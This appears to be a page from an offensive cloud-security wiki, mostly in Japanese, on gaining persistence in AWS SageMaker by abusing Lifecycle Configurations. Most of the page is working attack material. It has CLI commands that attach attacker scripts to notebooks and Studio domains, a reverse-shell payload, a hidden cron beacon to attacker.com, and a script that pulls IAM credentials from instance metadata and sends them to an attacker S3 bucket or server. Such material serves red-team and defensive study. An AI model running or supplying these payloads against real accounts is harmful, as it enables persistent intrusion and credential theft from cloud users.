# AWS - SageMaker Lifecycle Configuration Persistence ## Overview of Persistence Techniques このセクションでは、Lifecycle Configurations (LCCs) を悪用して SageMaker に持続性を持たせる方法について説明します。これには、リバースシェル、cron ジョブ、IMDS を介した資格情報の盗難、SSH バックドアが含まれます。これらのスクリプトはインスタンスの IAM ロールで実行され、再起動を超えて持続することができます。ほとんどの技術はアウトバウンドネットワークアクセスを必要としますが、AWS コントロールプレーン上のサービスを使用することで、環境が「VPC のみ」モードであっても成功する可能性があります。 #### 注意: SageMaker ノートブックインスタンスは、機械学習ワークロード専用に構成された管理された EC2 インスタンスです。 ## Required Permissions * Notebook Instances: ``` sagemaker:CreateNotebookInstanceLifecycleConfig sagemaker:UpdateNotebookInstanceLifecycleConfig sagemaker:CreateNotebookInstance sagemaker:UpdateNotebookInstance ``` * スタジオアプリケーション: ``` sagemaker:CreateStudioLifecycleConfig sagemaker:UpdateStudioLifecycleConfig sagemaker:UpdateUserProfile sagemaker:UpdateSpace sagemaker:UpdateDomain ``` ## ノートブックインスタンスのライフサイクル設定 ### AWS CLIコマンドの例: ```bash # Create Lifecycle Configuration* aws sagemaker create-notebook-instance-lifecycle-config \ --notebook-instance-lifecycle-config-name attacker-lcc \ --on-start Content=$(base64 -w0 reverse_shell.sh) # Attach Lifecycle Configuration to Notebook Instance* aws sagemaker update-notebook-instance \ --notebook-instance-name victim-instance \ --lifecycle-config-name attacker-lcc ``` ## SageMaker Studioでライフサイクル設定を行う ライフサイクル設定は、SageMaker Studio内のさまざまなレベルおよび異なるアプリタイプに添付できます。 ### スタジオドメインレベル(すべてのユーザー) ```bash # Create Studio Lifecycle Configuration* aws sagemaker create-studio-lifecycle-config \ --studio-lifecycle-config-name attacker-studio-lcc \ --studio-lifecycle-config-app-type JupyterServer \ --studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh) # Apply LCC to entire Studio Domain* aws sagemaker update-domain --domain-id --default-user-settings '{ "JupyterServerAppSettings": { "DefaultResourceSpec": {"LifecycleConfigArn": ""} } }' ``` ### スタジオスペースレベル(個別または共有スペース) ```bash # Update SageMaker Studio Space to attach LCC* aws sagemaker update-space --domain-id --space-name --space-settings '{ "JupyterServerAppSettings": { "DefaultResourceSpec": {"LifecycleConfigArn": ""} } }' ``` ## スタジオアプリケーションライフサイクル構成の種類 ライフサイクル構成は、異なるSageMaker Studioアプリケーションタイプに特に適用できます: * JupyterServer: Jupyterサーバーの起動時にスクリプトを実行し、リバースシェルやcronジョブのような永続メカニズムに最適です。 * KernelGateway: カーネルゲートウェイアプリの起動時に実行され、初期設定や永続的なアクセスに役立ちます。 * CodeEditor: コードエディタ(Code-OSS)に適用され、コード編集セッションの開始時に実行されるスクリプトを有効にします。 ### 各タイプの例コマンド: ### JupyterServer ```bash aws sagemaker create-studio-lifecycle-config \ --studio-lifecycle-config-name attacker-jupyter-lcc \ --studio-lifecycle-config-app-type JupyterServer \ --studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh) ``` ### KernelGateway ```bash aws sagemaker create-studio-lifecycle-config \ --studio-lifecycle-config-name attacker-kernelgateway-lcc \ --studio-lifecycle-config-app-type KernelGateway \ --studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh) ``` ### CodeEditor ```bash aws sagemaker create-studio-lifecycle-config \ --studio-lifecycle-config-name attacker-codeeditor-lcc \ --studio-lifecycle-config-app-type CodeEditor \ --studio-lifecycle-config-content $(base64 -w0 editor_persist.sh) ``` ### Critical Info: * ドメインまたはスペースレベルでLCCをアタッチすると、スコープ内のすべてのユーザーまたはアプリケーションに影響を与えます。 * より高い権限が必要です(sagemaker:UpdateDomain、sagemaker:UpdateSpace)、通常はドメインレベルよりもスペースレベルで実現可能です。 * ネットワークレベルの制御(例:厳格な出口フィルタリング)は、成功したリバースシェルやデータの流出を防ぐことができます。 ## Reverse Shell via Lifecycle Configuration SageMaker Lifecycle Configurations (LCCs) execute custom scripts when notebook instances start. An attacker with permissions can establish a persistent reverse shell. ### Payload Example: ``` #!/bin/bash ATTACKER_IP="" ATTACKER_PORT="" nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 & ``` ## Cron Job Persistence via Lifecycle Configuration 攻撃者はLCCスクリプトを通じてcronジョブを注入し、悪意のあるスクリプトやコマンドの定期的な実行を確保し、隠れた持続性を可能にします。 ### Payload Example: ``` #!/bin/bash PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py" CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH" CRON_JOB="*/30 * * * * $CRON_CMD" mkdir -p /home/ec2-user/SageMaker/.local_tasks echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH chmod +x $PAYLOAD_PATH (crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user - ``` ## IMDS(v1 & v2)を介した認証情報の抽出 ライフサイクル構成は、インスタンスメタデータサービス(IMDS)にクエリを送信してIAM認証情報を取得し、それを攻撃者が制御する場所に抽出することができます。 ### ペイロードの例: ```bash #!/bin/bash ATTACKER_BUCKET="s3://attacker-controlled-bucket" TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/) curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json # Exfiltrate via S3* aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json # Alternatively, exfiltrate via HTTP POST* curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload ```